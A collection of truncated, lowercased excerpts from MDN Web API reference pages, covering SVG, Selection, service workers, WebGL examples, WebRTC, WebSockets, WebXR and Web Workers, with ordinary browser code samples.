the decoding property of the svgimageelement interface represents a hint given to the browser on how it should decode the image. syntax var refstr = svgimageelement.decoding svgimageelement.decoding = refstr; values a domstring representing the decoding hint. possible values are: sync: decode the image synchronously for atomic presentation with other content. async: decode the image asynchronously to reduce delay in presenting other content. auto: default mode, which indicates no preference for the decoding mode. the browser decides what is best for the user. examples var img = new image(); img.decoding = 'sync'; img.src = 'img/logo.svg'; specifications specification status comment html living standardthe definition of 'decoding' in that speci...
...uto: default mode, which indicates no preference for the decoding mode. the browser decides what is best for the user. examples var img = new image(); img.decoding = 'sync'; img.src = 'img/logo.svg'; specifications specification status comment html living standardthe definition of 'decoding' in that specification. living standard initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetdecoding experimentalchr...
SVGSVGElement - Web APIs
ipttype an svganimatedlength corresponding to the contentscripttype attribute of the given <svg> element. svgsvgelement.contentstyletype an svganimatedlength corresponding to the contentstyletype attribute of the given <svg> element. svgsvgelement.viewport an svgrect containing the position and size of the viewport (implicit or explicit) that corresponds to the given <svg> element. when the browser is actually rendering the content, then the position and size values represent the actual values when rendering. the position and size values are unitless values in the coordinate system of the parent element. if no parent element exists (i.e., <svg> element represents the root of the document tree), if this svg document is embedded as part of another document (e.g., via the html <object> eleme...
...t medium. on systems where it is impossible to know the size of a pixel, a suitable default pixel size is provided. svgsvgelement.pixelunittomillimetery a float representing the size of a pixel unit along the y-axis of the viewport. svgsvgelement.screenpixeltomillimeterx user interface (ui) events in dom level 2 indicate the screen positions at which the given ui event occurred. when the browser actually knows the physical size of a "screen unit", this float attribute will express that information; otherwise, user agents will provide a suitable default value (such as .28mm). svgsvgelement.screenpixeltomillimetery corresponding size of a screen pixel along the y-axis of the viewport. svgsvgelement.usecurrentview the initial view (i.e., before magnification and panning) of the curr...
Screen - Web APIs
Web › API › Screen
properties screen.availtop specifies the y-coordinate of the first pixel that is not allocated to permanent or semipermanent user interface features. screen.availleft returns the first available pixel available from the left side of the screen. ...
... properties screen.availtop specifies the y-coordinate of the first pixel that is not allocated to permanent or semipermanent user interface features. screen.availleft returns the first available pixel available from the left side of the screen. ...
Selection.rangeCount - Web APIs
unt read-only property returns the number of ranges in the selection. before the user has clicked a freshly loaded page, the rangecount is 0. after the user clicks on the page, rangecount is 1, even if no selection is visible. a user can normally only select one range at a time, so the rangecount will usually be 1. scripting can be used to make the selection contain more than one range. gecko browsers allow multiple selections across table cells. firefox allows to select multiple ranges in the document by using ctrl+click (unless the click within an element with display: table-cell). syntax value = sel.rangecount example the following example will show the rangecount every second. select text in the browser to see it change. html <table> <tr><td>a.1<td>a.2 <tr><td>b.1<td>b.2 <t...
... sel.rangecount example the following example will show the rangecount every second. select text in the browser to see it change. html <table> <tr><td>a.1<td>a.2 <tr><td>b.1<td>b.2 <tr><td>c.1<td>c.2 javascript window.setinterval(function () { console.log(window.getselection().rangecount); }, 1000); result open your console to see how many ranges are in the selection. in gecko browsers, you can select multiple ranges across table cells by holding down ctrl while dragging with the mouse. specifications specification status comment selection apithe definition of 'selection.rangecount' in that specification. working draft current ...
Selection - Web APIs
Web › API › Selection
elected. typically, it holds only one range, accessed as follows: var selobj = window.getselection(); var range = selobj.getrangeat(0); selobj is a selection object range is a range object as the selection api specification notes, the selection api was initially created by netscape and allowed multiple ranges (for instance, to allow the user to select a column from a <table>). however, browsers other than gecko did not implement multiple ranges, and the specification also requires the selection to always have a single range. selection and input focus selection and input focus (indicated by document.activeelement) have a complex relationship that varies by browser. in cross-browser compatible code, it's better to handle them separately. safari and chrome (unlike firefox) currently ...
...e code, it's better to handle them separately. safari and chrome (unlike firefox) currently focus the element containing selection when modifying the selection programmatically; it's possible that this may change in the future (see w3c bug 14383 and webkit bug 38696). behavior of selection api in terms of editing host focus changes the selection api has a common behavior (i.e., shared between browsers) that governs how focus behavior changes for editing hosts after certain methods are called. the behavior is as follows: an editing host gains focus if the previous selection was outside of it. a selection api method is called, causing a new selection to be made with the selection range inside the editing host. focus then moves to the editing host. note: the selection api methods may ...
Selection API - Web APIs
us comment selection apithe definition of 'selection' in that specification. working draft the selection api specification is based on the html editing apis specification and focuses on the selection-related functionality. html editing apisthe definition of 'selection' in that specification. editor's draft initial (older) definition, which is now outdated. browser compatibility selection the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetselection ex...
...support full support no support no support compatibility unknown compatibility unknownexperimental. expect behavior to change in the future.experimental. expect behavior to change in the future.non-standard. expect poor cross-browser support.non-standard. expect poor cross-browser support.see implementation notes.see implementation notes. see also key quote generator: a simple demo showing typical usage of the selection api to capture the current selection at any point and copy selections into a list (see it live also). the range object. ...
Using server-sent events - Web APIs
}); this code is similar, except that it will be called automatically whenever the server sends a message with the event field set to "ping"; it then parses the json in the data field and outputs that information. when not used over http/2, sse suffers from a limitation to the maximum number of open connections, which can be especially painful when opening multiple tabs, as the limit is per browser and is set to a very low number (6). the issue has been marked as "won't fix" in chrome and firefox. this limit is per browser + domain, which means that you can open 6 sse connections across all of the tabs to www.example1.com and another 6 sse connections to www.example2.com (per stackoverflow). when using http/2, the maximum number of simultaneous http streams is negotiated between the serve...
...consists of one or more lines of text listing the fields for that message. each field is represented by the field name, followed by a colon, followed by the text data for that field's value. fields each message received has some combination of the following fields, one per line: event a string identifying the type of event described. if this is specified, an event will be dispatched on the browser to the listener for the specified event name; the website source code should use addeventlistener() to listen for named events. the onmessage handler is called if no event name is specified for a message. data the data field for the message. when the eventsource receives multiple consecutive lines that begin with data:, it concatenates them, inserting a newline character between each one. tra...
ServiceWorker - Web APIs
pages, workers, etc.) can be associated with the same service worker, each through a unique serviceworker object. ...
...} specifications specification status comment service workersthe definition of 'serviceworker' in that specification. working draft initial definition. ...
ServiceWorkerRegistration - Web APIs
the serviceworkerregistration interface of the service worker api represents the service worker registration. you register a service worker to control one or more pages that share the same origin. the lifetime of a service worker registration is beyond that of the serviceworkerregistration objects that represent them within the lifetime of their corresponding service worker clients. the browser maintains a persistent list of active serviceworkerregistration objects. note: this feature is available in web workers. properties also implements properties from its parent interface, eventtarget. serviceworkerregistration.scope read only returns a unique identifier for a service worker registration. this must be on the same origin as the document that registers the serviceworker. ...
...he requested title. serviceworkerregistration.update() checks the server for an updated version of the service worker without consulting caches. serviceworkerregistration.unregister() unregisters the service worker registration and returns a promise. the service worker will finish any ongoing operations before it is unregistered. examples in this example, the code first checks whether the browser supports service workers and if so registers one. next, it adds an updatefound listener in which it uses the service worker registration to listen for further changes to the service worker's state. if the service worker hasn't changed since the last time it was registered, then the updatefound event will not be fired. if ('serviceworker' in navigator) { navigator.serviceworker.register('/sw.
ShadowRoot - Web APIs
wroot. shadowroot.mode read only the mode of the shadowroot — either open or closed. this defines whether or not the shadow root's internal features are accessible from javascript. properties included from documentorshadowroot the shadowroot interface includes the following properties defined on the documentorshadowroot mixin. note that this is currently only implemented by chrome; other browsers still implement them on the document interface. documentorshadowroot.activeelement read only returns the element within the shadow tree that has focus. documentorshadowroot.stylesheets read only returns a stylesheetlist of cssstylesheet objects for stylesheets explicitly linked into, or embedded in a document. methods the shadowroot interface includes the following methods defined o...
...ly returns the element within the shadow tree that has focus. documentorshadowroot.stylesheets read only returns a stylesheetlist of cssstylesheet objects for stylesheets explicitly linked into, or embedded in a document. methods the shadowroot interface includes the following methods defined on the documentorshadowroot mixin. note that this is currently only implemented by chrome; other browsers still implement them on the document interface. documentorshadowroot.getselection() returns a selection object representing the range of text selected by the user, or the current position of the caret. documentorshadowroot.elementfrompoint() returns the topmost element at the specified coordinates. documentorshadowroot.elementsfrompoint() returns an array of all elements at the specifi...
SharedWorker() - Web APIs
syntax var myworker = new sharedworker(aurl, name); var myworker = new sharedworker(aurl, options); parameters aurl a domstring representing the url of the script the worker will execute. ...
... syntax var myworker = new sharedworker(aurl, name); var myworker = new sharedworker(aurl, options); parameters aurl a domstring representing the url of the script the worker will execute. ...
TouchEvent - Web APIs
uchmove sent when the user moves a touch point along the surface. the event's target is the same element that received the touchstart event corresponding to the touch point, even if the touch point has moved outside that element. this event is also sent if the values of the radius, rotation angle, or force attributes of a touch point change. ...
...e. note: the rate at which touchmove events is sent is browser-specific, and may also vary depending on the capability of the user's hardware. you must not rely on a specific granularity of these events. touchcancel sent when a touch point has been disrupted in some way. there are several possible reasons why this might happen (and the exact reasons will vary from device to device, as well as browser to browser): an event of some kind occurred that canceled the touch; this might happen if a modal alert pops up during the interaction. the touch point has left the document window and moved into the browser's ui area, a plug-in, or other external content. the user has placed more touch points on the screen than can be supported, in which case the earliest touch in the touchlist gets cance...
Multi-touch interaction - Web APIs
on specific var pinch_threshhold = ev.target.clientwidth / 10; if (diff1 >= pinch_threshhold && diff2 >= pinch_threshhold) ev.target.style.background = "green"; } else { // empty tpcache tpcache = new array(); } } } touch start handler the touchstart event handler caches touch points to support 2-touch gestures. it also calls preventdefault() to keep the browser from applying further event handling (for example, mouse event emulation). function start_handler(ev) { // if the user makes simultaneous touches, the browser will fire a // separate touchstart event for each touch point. thus if there are // three simultaneous touches, the first touchstart event will have // targettouches length of one, the second event will have a length // of two, and ...
...=0; i < ev.targettouches.length; i++) { tpcache.push(ev.targettouches[i]); } } if (logevents) log("touchstart", ev, true); update_background(ev); } touch move handler the touchmove handler calls preventdefault() for the same reason mentioned above, and invokes the pinch/zoom handler. function move_handler(ev) { // note: if the user makes more than one "simultaneous" touches, most browsers // fire at least one touchmove event and some will fire several touchmoves. // consequently, an application might want to "ignore" some touchmoves. // // this function sets the target element's border to "dashed" to visually // indicate the target received a move event. // ev.preventdefault(); if (logevents) log("touchmove", ev, false); // to avoid too much color flashing many touchmo...
URL.createObjectURL() - Web APIs
ing an object url that can be used to reference the contents of the specified source object. examples see using object urls to display images. usage notes memory management each time you call createobjecturl(), a new object url is created, even if you've already created one for the same object. each of these must be released by calling url.revokeobjecturl() when you no longer need them. browsers will release object urls automatically when the document is unloaded; however, for optimal performance and memory usage, if there are safe times when you can explicitly unload them, you should do so. using object urls for media streams in older versions of the media source specification, attaching a stream to a <video> element required creating an object url for the mediastream. this is no l...
...t urls automatically when the document is unloaded; however, for optimal performance and memory usage, if there are safe times when you can explicitly unload them, you should do so. using object urls for media streams in older versions of the media source specification, attaching a stream to a <video> element required creating an object url for the mediastream. this is no longer necessary, and browsers are removing support for doing this. important: if you still have code that relies on createobjecturl() to attach streams to media elements, you need to update your code to simply set srcobject to the mediastream directly. specifications specification status comment file apithe definition of 'createobjecturl()' in that specification. working draft initial def...
URL - Web APIs
Web › API › URL
e is used to parse, construct, normalize, and encode urls. it works by providing properties which allow you to easily read and modify the components of a url. you normally create a new url object by specifying the url as a string when calling its constructor, or by providing a relative url and a base url. you can then easily read the parsed components of the url or make changes to the url. if a browser doesn't yet support the url() constructor, you can access a url object using the window interface's window.url property. be sure to check to see if any of your target browsers require this to be prefixed. note: this feature is available in web workers. constructor new url() creates and returns a url object referencing the url specified using an absolute url string, or a relative url strin...
...ining the whole url. it is a synonym for url.href, though it can't be used to modify the value. tojson() returns a usvstring containing the whole url. it returns the same string as the href property. static methods createobjecturl() returns a domstring containing a unique blob url, that is a url with blob: as its scheme, followed by an opaque string uniquely identifying the object in the browser. revokeobjecturl() revokes an object url previously created using url.createobjecturl(). usage notes the constructor takes a url parameter, and an optional base parameter to use as a base if the url parameter is a relative url: const url = new url('../cats', 'http://www.example.com/dogs'); console.log(url.hostname); // "www.example.com" console.log(url.pathname); // "/cats" url properti...
URLUtilsReadOnly.origin - Web APIs
the urlutilsreadonly.origin read-only property is a domstring containing the unicode serialization of the origin of the represented url, that is, for http and https, the scheme followed by '://', followed by the domain, followed by ':', followed by the port (the default port, 80 and 443 respectively, if explicitely specified). for url using file: scheme, the value is browser dependant. this version of origin is implemented by workerlocation for use on workers. syntax string = object.origin; examples // on this page, returns the origin var result = self.location.origin; // returns:'https://developer.mozilla.org:443' specifications specification status comment urlthe definition of 'urlutilsreadonly.origin' in that specification. living standard initial d...
...emented by workerlocation for use on workers. syntax string = object.origin; examples // on this page, returns the origin var result = self.location.origin; // returns:'https://developer.mozilla.org:443' specifications specification status comment urlthe definition of 'urlutilsreadonly.origin' in that specification. living standard initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetorigin experimentalchrom...
VideoPlaybackQuality.creationTime - Web APIs
for details on how the time is determined, see performance.now(). ...
... for details on how the time is determined, see performance.now(). ...
WEBGL_debug_renderer_info - Web APIs
generally, the graphics driver information should only be used in edge cases to optimize your webgl content or to debug gpu problems. ...
...h features are supported and the failifmajorperformancecaveat context attribute lets you control if a context should be returned at all, if the performance would be dramatically slow. webgl extensions are available using the webglrenderingcontext.getextension() method. for more information, see also using extensions in the webgl tutorial. availability: depending on the privacy settings of the browser, this extension might only be available to privileged contexts or not work at all. in firefox, if privacy.resistfingerprinting is set to true, this extensions is disabled. this extension is available to both, webgl1 and webgl2 contexts. constants ext.unmasked_vendor_webgl vendor string of the graphics driver. ext.unmasked_renderer_webgl renderer string of the graphics driver. example...
WebGLRenderingContext.getParameter() - Web APIs
gl.max_varying_components glint gl.max_vertex_output_components glint gl.max_vertex_uniform_blocks glint gl.max_vertex_uniform_components glint gl.min_program_texel_offset glint gl.pack_row_length glint see pixelstorei. gl.pack_skip_pixels glint see pixelstorei. gl.pack_skip_rows glint see pixelstorei. gl.pixel_pack_buffer_binding webglbuffer or null see bindbuffer. gl.pixel_unpack_buffer_binding webglbuffer or null see bindbuffer. gl.rasterizer_discard glboolean gl.read_buffer glenum gl.read_framebuffer_binding webglframebuffer or null null corresponds to a binding to the default framebuff...
...iform_buffer_binding webglbuffer or null see bindbuffer. gl.uniform_buffer_offset_alignment glint see pixelstorei. gl.unpack_image_height glint see pixelstorei. gl.unpack_row_length glint see pixelstorei. gl.unpack_skip_images glint see pixelstorei. gl.unpack_skip_pixels glint see pixelstorei. gl.unpack_skip_rows glint see pixelstorei. gl.vertex_array_binding webglvertexarrayobject or null see bindvertexarray. webgl extensions you can query the following pname parameters when using webgl extensions: constant returned type extension description ext.max_texture_max_anisotropy_ext glfloat ext_texture_filter_anisotropic maximum available an...
WebGLRenderingContext.isContextLost() - Web APIs
ng can resume. syntax let islost = gl.iscontextlost(); return value a boolean which is true if the context is lost, or false if not. usage notes there are several reasons why a webgl context may be lost, making it necessary to re-establish the context before resuming rendering. examples include: two or more pages are using the gpu, but together place too high a demand on the gpu, so the browser tells the two contexts that they've lost the connection, then selects one of the two to restore access for. the user's computer has multiple graphics processors (such as a laptop with both mobile and desktop class gpus, the former used primarily when on battery power), and the user or system decides to switch gpus. in this case, all contexts are lost, then restored after switching gpus. anoth...
...they've lost the connection, then selects one of the two to restore access for. the user's computer has multiple graphics processors (such as a laptop with both mobile and desktop class gpus, the former used primarily when on battery power), and the user or system decides to switch gpus. in this case, all contexts are lost, then restored after switching gpus. another page running in the user's browser performs an operation using the gpu that takes too long, causing hte browser to decide to reset the gpu in order to break the stall. this would cause every webgl context to be lost throughout the entire browser. the user updates their graphics driver on an operating system that allows graphics drivers to be updated without restarting the system. examples for example, when checking for progr...
A basic 2D WebGL animation example - Web APIs
lor; } </script> this starts by specifying the precision of the float type, as required. then we set the global gl_fragcolor to the value of the uniform uglobalcolor, which is set by the javascript code to the color being used to draw the square. html the html consists solely of the <canvas> that we'll obtain a webgl context on. <canvas id="glcanvas" width="600" height="460"> oh no! your browser doesn't support canvas! </canvas> javascript globals and initialization first, the global variables. we won't discuss these here; instead, we'll talk about them as they're used in the code to come. let gl = null; let glcanvas = null; // aspect ratio and coordinate system // details let aspectratio; let currentrotation = [0, 1]; let currentscale = [1.0, 1.0]; // vertex information let ve...
...e vertex buffer for our shape and the avertexposition attribute used to deliver vertexes one by one into the vertex shader, we're ready to draw the shape by calling drawarrays(). at this point, the frame has been drawn. all that's left to do is to schedule to draw the next one. that's done here by calling requestanimationframe(), which asks that a callback function be executed the next time the browser is ready to update the screen. our requestanimationframe() callback receives as input a single parameter, currenttime, which specifies the time at which the frame drawing began. we use that and the saved time at which the last frame was drawn, previoustime, along with the number of degrees per second the square should rotate (degreespersecond) to calculate the new value of currentangle. then t...
Basic scissoring - Web APIs
this again demonstrates the typical order of commands in webgl. we first tweak webgl state. in this case, enabling the scissor test and establishing a rectangular mask. only when the webgl state has been satisfactorily tweaked, we execute the drawing command (in this case, clear()) that starts the processing of fragments down the graphics pipeline. ...
...g two lines set the size (in css pixels) of // the drawing buffer to be identical to the size of the // canvas html element, as determined by css. canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { paragraph.innerhtml = "failed to get webgl context. " + "your browser or device may not support webgl."; return; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); // enable scissoring operation and define the position and // size of the scissoring area. gl.enable(gl.scissor_test); gl.scissor(40, 20, 60, 130); // clear the drawing buffer solid yellow. gl.clearcolor(1.0, 1.0, 0.0, 1.0); gl.clear(gl.color_buffer_bit); },...
Boilerplate 1 - Web APIs
rns the initialized context. in case of error, it displays an error message and returns null. finally, all javascript code will run within an immediate function, which is a common javascript technique (see function). the function declaration and invocation will also be hidden. html <p>[ some descriptive text about the example. ]</p> <button>[ optional button element. ...
... « previousnext » ...
Clearing by clicking - Web APIs
very time the user clicks the canvas or the button, the canvas is cleared with a new randomly chosen color. note how we embed the webgl function calls inside the event handler function. ...
...rring to the externally defined gl variable. // if undefined, try to obtain the webglrenderingcontext. // if failed, alert user of failure. // otherwise, initialize the drawing buffer (the viewport). if (!gl) { gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { alert("failed to get webgl context.\n" + "your browser or device may not support webgl."); return; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); } // get a random color value using a helper function. var color = getrandomcolor(); // set the clear color to the random color. gl.clearcolor(color[0], color[1], color[2], 1.0); // clear the context with the newly set color. this is...
Clearing with colors - Web APIs
tput (in this case, all pixels are set to green). finally, we note that color in webgl is usually in rgba format, that is four numerical components for red, green, blue and alpha (opacity). therefore, clearcolor() takes four arguments. <p>a very simple webgl program that shows some color.</p> <!-- text within a canvas element is displayed only if canvas is not supported. ...
...= document.queryselector("canvas"); // getting the webgl rendering context. var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); // if failed, inform user of failure. otherwise, initialize // the drawing buffer (the viewport) and clear the context // with a solid color. if (!gl) { paragraph.innerhtml = "failed to get webgl context. " + "your browser or device may not support webgl."; return; } paragraph.innerhtml = "congratulations! your browser supports webgl. "; gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); // set the clear color to darkish green. gl.clearcolor(0.0, 0.5, 0.0, 1.0); // clear the context with the newly set color. this is // the function call that actually does the drawing. gl...
Color masking - Web APIs
der, where the output of each operation serves as the input of the next. so, for example, clearing operation sets the value of each pixel to the chosen clear color. masking occurs later in the pipeline, and modifies the pixel color value, so the final result on the screen is that of the clear color, tinted by the color mask. ...
... blue; } window.addeventlistener("load", function setupanimation (evt) { "use strict" window.removeeventlistener(evt.type, setupanimation, false); var canvas = document.queryselector("canvas"); var gl = canvas.getcontext("webgl") || canvas.getcontext("experimental-webgl"); if (!gl) { document.queryselector("p").innerhtml = "failed to get webgl context." + "your browser or device may not support webgl."; return; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); var timer = setinterval(drawanimation, 1000); var mask = [true, true, true]; var redtoggle = document.queryselector("#red-toggle"), greentoggle = document.queryselector("#green-toggle"), bluetoggle = document.queryselector("#blue-toggle"); redtoggle.addeve...
Hello vertex attributes - Web APIs
s webgl example demonstrates how to combine shader programming and user interaction by sending user input to the shader using vertex attributes. hello world program in glsl how to send input to a shader program by saving data in gpu memory. <p>first encounter with attributes and sending data to gpu. ...
... « previousnext » ...
Simple color animation - Web APIs
ting and stopping the animation. the timer and the timer handler function establish the animation loop, a set of drawing commands that are executed at a regular period (typically, every frame; in this case, once per second). ...
...itial event // handlers for canvas and button. stopanimation({type: "click"}); var gl; function drawanimation () { if (!gl) { var canvas = document.getelementbyid("canvas-view"); gl = canvas.getcontext("webgl") ||canvas.getcontext("experimental-webgl"); if (!gl) { clearinterval(timer); alert("failed to get webgl context.\n" + "your browser or device may not support webgl."); return; } gl.viewport(0, 0, gl.drawingbufferwidth, gl.drawingbufferheight); } // get a random color value using a helper function. var color = getrandomcolor(); // set the webglrenderingcontext clear color to the // random color. gl.clearcolor(color[0], color[1], color[2], 1.0); // clear the context wit...
Textures from code - Web APIs
iousnext » this webgl example provides a simple demonstration of procedural texturing with fragment shaders. that is, using code to generate textures for use in shading webgl objects. drawing textures with code texturing a point sprite with calculations done per-pixel in the fragment shader. <p>texture from code. ...
... « previousnext » ...
WebGL tutorial - Web APIs
webgl programs consist of control code written in javascript and special effects code (shader code) that is executed on a computer's graphics processing unit (gpu). webgl elements can be mixed with other html elements and composited with other parts of the page or page background. this tutorial describes how to use the <canvas> element to draw webgl graphics, starting with the basics. ...
... graphics, starting with the basics. the examples provided should give you some clear ideas what you can do with webgl and will provide code snippets that may get you started in building your own content. before you start using the <canvas> element is not very difficult, but you do need a basic understanding of html and javascript. the <canvas> element and webgl are not supported in some older browsers, but are supported in recent versions of all major browsers. in order to draw graphics on the canvas we use a javascript context object, which creates graphics on the fly. in this tutorial getting started with webgl how to set up a webgl context. adding 2d content to a webgl context how to render simple flat shapes using webgl. using shaders to apply color in webgl demonstrates how to...
WebRTC connectivity - Web APIs
already been gathered since the offer or answer was created. similarly, pendingremotedescription includes any remote ice candidates which have been provided by calls to rtcpeerconnection.addicecandidate(). see the individual articles on these properties and methods for more specifics, and codecs used by webrtc for information about codecs supported by webrtc and which are compatible with which browsers. the codecs guide also offers guidance to help you choose the best codecs for your needs. ice candidates as well as exchanging information about the media (discussed above in offer/answer and sdp), peers must exchange information about the network connection. this is known as an ice candidate and details the available methods the peer is able to communicate (directly or through a turn server...
...ay down the line toward their worse candidates. ideally, candidates are udp (since it's faster, and media streams are able to recover from interruptions relatively easily), but the ice standard does allow tcp candidates as well. generally, ice candidates using tcp are only going to be used when udp is not available or is restricted in ways that make it not suitable for media streaming. not all browsers support ice over tcp, however. ice allows candidates to represent connections over either tcp or udp, with udp generally being preferred (and being more widely supported). each protocol supports a few types of candidate, with the candidate types defining how the data makes its way from peer to peer. udp candidate types udp candidates (candidates with their protocol set to udp) can be one o...
Lifetime of a WebRTC session - Web APIs
in this article, we'll look at the lifetime of a webrtc session, from establishing the connection all the way through closing the connection when it's no longer needed. this article doesn't get into details of the actual apis involved in establishing and handling a webrtc connection; it simply reviews the process in general with some information about why each step is required. see signaling and video calling for an actual example with a step-by-step explanation of what the code does. ...
...ppens, the ice agent may choose to perform ice restart. this is a process by which the network connection is renegotiated, exactly the same way the initial ice negotiation is performed, with one exception: media continues to flow across the original network connection until the new one is up and running. then media shifts to the new network connection and the old one is closed. note: different browsers support ice restart under different sets of conditions. not all browsers will perform ice restart due to network congestion, for example. if you need to change the configuration of the connection in some way (such as changing to a different set of ice servers), you can do so before restarting ice by calling rtcpeerconnection.setconfiguration() with an updated rtcconfiguration dictionary befo...
Writing WebSocket client applications - Web APIs
ess they're on the same device or possibly on the same network). connection errors if an error occurs while attempting to connect, first a simple event with the name error is sent to the websocket object (thereby invoking its onerror handler), and then the closeevent is sent to the websocket object (thereby invoking its onclose handler) to indicate the reason for the connection's closing. the browser may also output to its console a more descriptive error message as well as a closing code as defined in rfc 6455, section 7.4 through the closeevent. examples this simple example creates a new websocket, connecting to the server at wss://www.example.com/socketserver. a custom protocol of "protocolone" is named in the request for the socket in this example, though this can be omitted. var exa...
... to close the connection to determine if any data has yet to be transmitted on the network. if this value isn't 0, there's pending data still, so you may wish to wait before closing the connection. security considerations websockets should not be used in a mixed content environment; that is, you shouldn't open a non-secure websocket connection from a page loaded using https or vice-versa. most browsers now only allow secure websocket connections, and no longer support using them in insecure contexts. ...
The WebSocket API (WebSockets) - Web APIs
with this api, you can send messages to a server and receive event-driven responses without having to poll the server for a reply. note: while a websocket connection is functionally somewhat similar to standard unix-style sockets, they are not related. interfaces websocket the primary interface for connecting to a websocket server and then sending and receiving data on the connection. closeevent the event sent by the websocket object when the connection closes. ...
...loseevent the event sent by the websocket object when the connection closes. messageevent the event sent by the websocket object when a message is received from the server. guides writing websocket client applications writing websocket servers writing a websocket server in c# writing a websocket server in java tools humblenet: a cross-platform networking library that works in the browser. it consists of a c wrapper around websockets and webrtc that abstracts away cross-browser differences, facilitating the creation of multi-user networking functionality for games and other apps. µwebsockets: highly scalable websocket server and client implementation for c++11 and node.js. clusterws: lightweight, fast and powerful framework for building scalable websocket applications in nod...
Fundamentals of WebXR - Web APIs
and so forth. that part is entirely up to you. fortunately, webgl and the various webgl-based frameworks and libraries are available to make it much easier to deal with all of that. how is webxr different from webvr? webvr was generally considered to be an experimental api designed to help specification writers determine the best approaches to creating an api for virtual reality on the web. as browser developers built support for webvr and allowed developers to experiment, it became clear that in order to finish an api for virtual environments on the web, it would make more sense to start a new specification than to try to "fix" webvr. thus, webxr was created. the most obvious difference, at the highest level, is that webxr supports not just virtual reality applications, but also augmented ...
...ind. some platforms may provide previously-cleared frames to you, while others may optimize performance by not erasing the framebuffers in order to avoid having to touch each pixel twice per frame. there are two vr session modes available in webxr: inline and immersive. the former, specified by the session mode string inline, presents the rendered scene within the context of a document in a web browser, and doesn't require special xr hardware to view. the immersive session mode is indicated using the session mode immersive-vr. this session mode requires an xr device such as a headset, and replaces the entire world with the rendered scene using the displays shown to each of the user's eyes. augmented reality in augmented reality (ar), the user sees the imagery you render presented on top of ...
Geometry and reference spaces in WebXR - Web APIs
n xrreferencespace guarantees a certain level of support for motion and orientation tracking, and provides a mechanism for obtaining an xrviewerpose from which you can get a matrix which represents the position and facing direction of the space relative to the world space, if the space represents a viewer such as the user's headset, an observer's headset, or a virtual camera. all of this is the browser's responsibility to handle, providing consistent behavior regardless of how capable each of the underlying reference spaces are. no matter how powerful or simple the individual xr device is, code written using webxr will still work, within the limitations of the available hardware. regardless of the type of reference space you choose, its type is xrreferencespace or is a type derived from xrre...
...ace tries to keep the origin stable relative to the environment. xrreferencespace local-floor similar to the local type, except the starting position is placed in a safe location for the viewer to stand, where the value of the y axis is 0 at floor level. if that floor level isn't known, the user agent will estimate the floor level. if the estimated floor level is non-zero, the browser is expected to round it such a way as to avoid fingerprinting (likely to the nearest centimeter). xrreferencespace unbounded a tracking space which allows the user total freedom of movement, possibly over extremely long distances from their origin point. the viewer isn't tracked at all; tracking is optimized for stability around the user's current position, so the native origin m...
Inputs and input sources - Web APIs
le inside the <canvas> presenting the webxr scene. the mouse event is captured by the xr device's driver. the device creates a new xrinputsource to represent the simulated xr input source. the targetraymode is set to screen, and the other information is filled out as appropriate. this new input source is temporarily added to the list that's returned by the xrsession property inputsources. the browser delivers pointerdown events corresponding to the action. a primary action is generated and sent to the app in the form of a selectstart event, with its source set to the new xrinputsource. or, if the mouse is being used as an off-hand or secondary controller, an auxiliary action is sent instead. when the user releases the mouse button, the select event is sent to the xrsession, then the dom r...
... with its source set to the new xrinputsource. or, if the mouse is being used as an off-hand or secondary controller, an auxiliary action is sent instead. when the user releases the mouse button, the select event is sent to the xrsession, then the dom receives a click event. the session then receives the selectend event indicating the completion of the action. when the action is completed, the browser deletes the transient input source, and any appropriate pointerup events are sent. thus, the transient input source is indeed transient—it exists only for the duration of handling the input and will as such not be listed in the input source list. facing and targeting facing is the direction in which the viewer is looking. this isn't provided using an input source. instead, it's obtained u...
Web audio spatialization basics - Web APIs
stereo panning effect, our stereopannernode example (see source code) should give you everything you need. 3d boombox demo to demonstrate 3d spatialization we've created a modified version of the boombox demo we created in our basic using the web audio api guide. see the 3d spatialization demo live (and see the source code also). the boombox sits inside a room (defined by the edges of the browser viewport), and in this demo, we can move and rotate it with the provided controls. when we move the boombox, the sound it produces changes accordingly, panning as it moves to the left or right of the room, or becoming quieter as it is moved away from the user or is rotated so the speakers are facing away from them, etc. this is done by setting the different properties of the pannernode object i...
...}) summary hopefully, this article has given you an insight into how web audio spatialization works, and what each of the pannernode properties do (there are quite a few of them). the values can be hard to manipulate sometimes and depending on your use case it can take some time to get them right. note: there are slight differences in the way the audio spatialization sounds across different browsers. the panner node does some very involved maths under the hood; there are a number of tests here so you can keep track of the status of the inner workings of this node across different platforms. again, you can check out the final demo here, and the final source code is here. there is also a codepen demo too. if you are working with 3d games and/or webxr it's a good idea to harness a 3d libr...
Web Workers API - Web APIs
r: shared workers are workers that can be utilized by multiple scripts running in different windows, iframes, etc., as long as they are in the same domain as the worker. they are a little more complex than dedicated workers — scripts must communicate via an active port. see sharedworker for more details. serviceworkers essentially act as proxy servers that sit between web applications, the browser, and the network (when available). they are intended, among other things, to enable the creation of effective offline experiences, intercept network requests and take appropriate action based on whether the network is available, and update assets residing on the server. they will also allow access to push notifications and background sync apis. chrome workers are a firefox-only type of worker ...
